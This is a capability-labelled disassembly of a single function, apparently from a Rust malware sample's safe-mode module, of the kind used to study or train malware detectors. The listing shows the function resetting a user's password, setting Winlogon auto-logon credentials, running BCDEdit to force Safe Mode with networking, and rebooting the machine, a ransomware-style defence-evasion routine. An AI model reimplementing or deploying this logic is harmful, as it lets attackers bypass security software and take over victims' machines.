Function at 0x101d1030
Capabilities:
Create process on windows
Manipulate boot configuration
Set registry value
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x70
movzx eax, byte [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
test al, al
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], ecx
je 0x101d1248
lea eax, [ebx + 0xc]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x101ab600
mov dword [ebp - 0x2c], 0x10442ef0
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x34], 0x101ab600
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 2
lea eax, [ebp - 0x2c]
push eax
call fcn.100748a0
add esp, 4
mov eax, dword [ebx + 0xc]
mov ecx, dword [ebx + 0x14]
add ecx, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov word [ebp - 0x24], 0
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x2c]
call fcn.101aeb90
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
cmp edx, eax
jne 0x101d10d0
lea ecx, [ebp - 0x40]
call fcn.101aab40
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x40]
mov word [eax + edx*2], 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
add ecx, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov word [ebp - 0x24], 0
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x2c]
call fcn.101aeb90
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
cmp edx, esi
jne 0x101d1118
lea ecx, [ebp - 0x40]
call fcn.101aab40
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x40]
mov word [ebx + edx*2], 0
lea eax, [ebp - 0x5c]
push 0
push eax
push 0x3eb
push ebx
push 0
call sub.netapi32.dll_NetUserSetInfo
mov edi, eax
test esi, esi
mov dword [ebp - 0x50], eax
je 0x101d114c
mov eax, dword [0x1044eff8]
push ebx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ebx, dword [ebp + 8]
test edi, edi
lea esi, [ebp - 0x2c]
je 0x101d1229
lea eax, [ebp - 0x50]
cmp edi, 0x8c5
jne 0x101d11c8
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0x10443178
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0x1002e030
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 1
push esi
call fcn.100748a0
add esp, 4
mov dword [ebp - 0x2c], 0x10443124
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
push esi
call fcn.100748a0
add esp, 4
jmp 0x101d1229
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0x104430f4
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0x1002e030
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 1
push esi
call fcn.100748a0
add esp, 4
mov dword [ebp - 0x2c], 0x10443124
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
push esi
call fcn.100748a0
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x101d1240
mov eax, dword [0x1044eff8]
push dword [ebp - 0x30]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
test edi, edi
jne 0x101d1552
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], 0x10442f24
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0x101ab600
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 1
lea esi, [ebp - 0x2c]
push esi
call fcn.100748a0
add esp, 4
mov dword [ebp - 0x2c], 0
call sub.KERNEL32.dll_GetCurrentProcess
push esi
push eax
call sub.KERNEL32.dll_IsWow64Process
mov edi, ebx
test eax, eax
je 0x101d12a2
cmp dword [ebp - 0x2c], 0
setne al
jmp 0x101d12a4
xor eax, eax
movzx ebx, al
mov ecx, 0x10442fd3
mov edx, 0xf
push ebx
push dword [edi + 8]
push dword [edi]
call fcn.101d1ee0
add esp, 0xc
test al, al
je 0x101d1512
mov ecx, 0x10442fe2
mov edx, 0xf
push ebx
push dword [edi + 0x14]
push dword [edi + 0xc]
call fcn.101d1ee0
add esp, 0xc
test al, al
je 0x101d1512
mov ecx, 0x10442ff1
mov edx, 0xe
push ebx
push 1
push 0x10442fff
call fcn.101d1ee0
add esp, 0xc
test al, al
je 0x101d1512
lea eax, [ebp - 0x68]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0x10442f50
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x3c], 0x101a2960
mov dword [ebp - 0x20], 1
push esi
call fcn.100748a0
add esp, 4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
lea edi, [0x104430a9]
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0x10443078
mov dword [ebp - 0x24], edi
mov word [ebp - 0x20], 0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x40]
mov edx, esi
call fcn.101aeea0
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x2c], 0
push esi
push 2
push 0
push edi
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
mov ebx, eax
test eax, eax
jne 0x101d1398
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], eax
je 0x101d13b0
mov eax, dword [0x1044eff8]
push edi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
test ebx, ebx
jne 0x101d1c1e
mov eax, dword [0x1044f00c]
mov edi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [edi]
test eax, eax
jne 0x101d13db
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101d1bee
mov dword [edi], eax
push 0x68
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x101d1bee
movaps xmm0, xmmword [str.abcdefghijklmnopqrstuvwx]
movaps xmm1, xmmword [0x1043e240]
movaps xmm2, xmmword [0x1043e250]
mov edi, eax
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm1
movaps xmm1, xmmword [0x1043e260]
movups xmmword [eax + 0x20], xmm2
movaps xmm2, xmmword [0x1043e270]
movups xmmword [eax + 0x30], xmm1
movaps xmm1, xmmword [0x1043e280]
movups xmmword [eax + 0x40], xmm2
movups xmmword [eax + 0x50], xmm1
mov dword [eax + 0x60], 0x79
mov dword [eax + 0x64], 0x7a
xor ecx, ecx
mov dword [ebp - 0x30], eax
call fcn.1009c100
test eax, eax
je 0x101d1c4a
mov esi, dword [eax]
inc dword [esi]
je 0x101d1c69
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
xor edx, edx
lea ecx, [ebp - 0x2c]
push 6
call fcn.101ab1a0
add esp, 4
mov edi, dword [esi + 0x108]
lea eax, [esi + 8]
lea ebx, [esi + 0x110]
mov dword [ebp - 0x14], eax
jmp 0x101d14cc
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.101a8c30
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101d155a
cmp edi, 0x40
jb 0x101d14b1
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101d14a0
cmp dword [esi + 0x150], 0
js 0x101d14a0
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.101ac970
xor edi, edi
jmp 0x101d14b1
call sub.KERNEL32.dll_GetLastError
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0x10442fb8
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x3c], 0x1002e030
mov dword [ebp - 0x20], 1
push esi
call fcn.100748a0
add esp, 4
add esp, 0x70
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.101aa8c0
mov edi, dword [esi + 0x108]
jmp 0x101d1598
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.101a8c30
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101d15de
cmp edi, 0x40
jb 0x101d1581
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101d1570
cmp dword [esi + 0x150], 0
js 0x101d1570
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.101ac970
xor edi, edi
jmp 0x101d1581
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.101aa8c0
mov edi, dword [esi + 0x108]
jmp 0x101d1628
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.101a8c30
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101d166e
cmp edi, 0x40
jb 0x101d1611
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101d1600
cmp dword [esi + 0x150], 0
js 0x101d1600
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.101ac970
xor edi, edi
jmp 0x101d1611
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.101aa8c0
mov edi, dword [esi + 0x108]
jmp 0x101d16b8
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.101a8c30
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101d16fe
cmp edi, 0x40
jb 0x101d16a1
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101d1690
cmp dword [esi + 0x150], 0
js 0x101d1690
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.101ac970
xor edi, edi
jmp 0x101d16a1
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.101aa8c0
mov edi, dword [esi + 0x108]
jmp 0x101d1748
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.101a8c30
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101d178e
cmp edi, 0x40
jb 0x101d1731
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101d1720
cmp dword [esi + 0x150], 0
js 0x101d1720
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.101ac970
xor edi, edi
jmp 0x101d1731
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.101aa8c0
mov edi, dword [esi + 0x108]
jmp 0x101d17d8
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.101a8c30
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101d181e
cmp edi, 0x40
jb 0x101d17c1
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101d17b0
cmp dword [esi + 0x150], 0
js 0x101d17b0
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.101ac970
xor edi, edi
jmp 0x101d17c1
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.101aa8c0
mov eax, dword [ebp - 0x24]
movsd xmm0, qword [ebp - 0x2c]
mov edi, dword [0x1044eff8]
mov dword [ebp - 0x6c], eax
movsd qword [ebp - 0x74], xmm0
dec dword [esi]
jne 0x101d1855
dec dword [esi + 4]
jne 0x101d1855
push esi
push 0
push dword [edi]
call sub.KERNEL32.dll_HeapFree
push dword [ebp - 0x30]
push 0
push dword [edi]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [edi]
test eax, eax
jne 0x101d187e
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101d1bff
mov dword [edi], eax
push 1
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x101d1bff
mov byte [eax], 0x2a
mov dword [ebp - 0x2c], eax
mov ecx, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 1
mov ebx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x74]
test ebx, ebx
mov dword [ebp - 0x14], eax
je 0x101d18ce
lea esi, [ebp - 0x2c]
mov edx, 1
mov ecx, esi
push ebx
call fcn.101ab1a0
add esp, 4
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x24]
jmp 0x101d18d3
mov edi, 1
add ecx, edi
push ebx
push dword [ebp - 0x14]
push ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [ebp - 0x2c]
add edi, ebx
mov dword [ebp - 0x54], edi
movsd qword [ebp - 0x5c], xmm0
mov esi, dword [ebp - 0x5c]
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.101db940
add esp, 8
add edi, esi
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], edi
mov word [ebp - 0x20], 0
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x2c]
call fcn.101aeea0
movzx eax, byte [ebp - 0x34]
mov ebx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x40]
push dword [ebp - 0x38]
mov dword [ebp - 0x30], ecx
push ecx
push eax
push 0
push ebx
push dword [ebp - 0x44]
call sub.advapi32.dll_RegSetValueExW
cmp dword [ebp - 0x4c], 0
mov edi, eax
je 0x101d1958
push ebx
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x3c], 0
mov ebx, dword [0x1044eff8]
je 0x101d1970
push dword [ebp - 0x30]
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
test edi, edi
jne 0x101d1c6d
cmp dword [ebp - 0x58], 0
je 0x101d1988
push esi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x70], 0
je 0x101d199a
push dword [ebp - 0x14]
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [ebp - 0x44]
test eax, eax
js 0x101d19a7
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 0x2c], str._INFO__Setting_safemode
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
lea esi, [ebp - 0x2c]
push esi
call fcn.100748a0
add esp, 4
mov dword [ebp - 0x2c], 0
call sub.KERNEL32.dll_GetCurrentProcess
push esi
push eax
call sub.KERNEL32.dll_IsWow64Process
test eax, eax
je 0x101d1a0a
cmp dword [ebp - 0x2c], 0
mov dword [ebp - 0x50], 0
je 0x101d1a11
lea eax, [ebp - 0x50]
push eax
call sub.KERNEL32.dll_Wow64DisableWow64FsRedirection
mov al, 1
mov dword [ebp - 0x44], eax
jmp 0x101d1a18
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x44], 0
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [ebx]
test eax, eax
jne 0x101d1a35
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101d1c10
mov dword [ebx], eax
push 6
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x101d1c10
mov byte [eax + 4], 0x73
mov dword [eax], 0x616e7572
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x24], 5
lea eax, [ebp - 0x2c]
push eax
call fcn.1001af60
add esp, 4
mov esi, eax
mov edi, edx
push 0xb
push 0x10442ec4
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x30], edx
call fcn.1001ade0
add esp, 0xc
cmp dword [ebp - 0x40], 0
jne 0x101d1c99
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x60], eax
push 0x1f
push str._set_current_safeboot_networkrunasBCDEdit.exe_INFO__Changing_user_password:
lea eax, [ebp - 0x40]
push eax
call fcn.1001ade0
add esp, 0xc
cmp dword [ebp - 0x40], 0
jne 0x101d1ccc
mov edi, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x38]
push 1
push 0
push edi
push esi
push dword [ebp - 0x14]
push 0
call sub.shell32.dll_ShellExecuteA
test ebx, ebx
mov ebx, dword [0x1044eff8]
mov byte [edi], 0
je 0x101d1ae8
push edi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x60], 0
mov byte [esi], 0
je 0x101d1afb
push esi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x30], 0
mov byte [eax], 0
je 0x101d1b11
push eax
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
cmp byte [ebp - 0x44], 0
je 0x101d1b1f
push dword [ebp - 0x50]
call sub.KERNEL32.dll_Wow64RevertWow64FsRedirection
mov dword [ebp - 0x2c], str._INFO__Restarting_PCx_D
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x2c]
push eax
call fcn.100748a0
add esp, 4
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea ecx, [ebp - 0x5c]
push ecx
push 0x28
push eax
call sub.advapi32.dll_OpenProcessToken
push 0x13
push str.SeShutdownPrivilegeDefaultUserNameDefaultPasswordAutoAdminLogon1SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonshared_windows_src_safemode_mod.rs
lea eax, [ebp - 0x40]
push eax
call fcn.1001ade0
add esp, 0xc
cmp dword [ebp - 0x40], 0
jne 0x101d1cff
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
lea eax, [ebp - 0x50]
push eax
push esi
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test edi, edi
mov byte [esi], 0
je 0x101d1bb4
push esi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [ebp - 0x50]
mov dword [ebp - 0x2c], 1
movsd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], 2
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
push dword [ebp - 0x5c]
call sub.advapi32.dll_AdjustTokenPrivileges
push 0x10
push 2
call sub.user32.dll_ExitWindowsEx
jmp 0x101d1552
push 0x68
push 4
call fcn.1001ac80
add esp, 8
jmp 0x101d1d30
push 1
push 1
call fcn.1001ac80
add esp, 8
jmp 0x101d1d30
push 6
push 1
call fcn.1001ac80
add esp, 8
ud2
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], eax
push 0x104430ac
push 0x1043ec64
push esi
push 0x2b
push str.called__Result::unwrap____on_an__Err__value
call fcn.10027650
add esp, 0x14
jmp 0x101d1d30
push 0x10335334
push 0x1033528c
push esi
push 0x46
push 0x1033529c
call fcn.10027650
add esp, 0x14
jmp 0x101d1d30
ud2
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], 0
push 0x104430bc
push 0x1043ec64
lea eax, [ebp - 0x2c]
push eax
push 0x2b
push str.called__Result::unwrap____on_an__Err__value
call fcn.10027650
add esp, 0x14
jmp 0x101d1d30
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x24], xmm1
movsd qword [ebp - 0x2c], xmm0
push 0x10443690
push 0x1043ec34
lea eax, [ebp - 0x2c]
push eax
push 0x16
push 0x10443678
call fcn.10027650
add esp, 0x14
jmp 0x101d1d30
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x24], xmm1
movsd qword [ebp - 0x2c], xmm0
push 0x10443690
push 0x1043ec34
lea eax, [ebp - 0x2c]
push eax
push 0x16
push 0x10443678
call fcn.10027650
add esp, 0x14
jmp 0x101d1d30
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x24], xmm1
movsd qword [ebp - 0x2c], xmm0
push 0x10443690
push 0x1043ec34
lea eax, [ebp - 0x2c]
push eax
push 0x16
push 0x10443678
call fcn.10027650
add esp, 0x14
ud2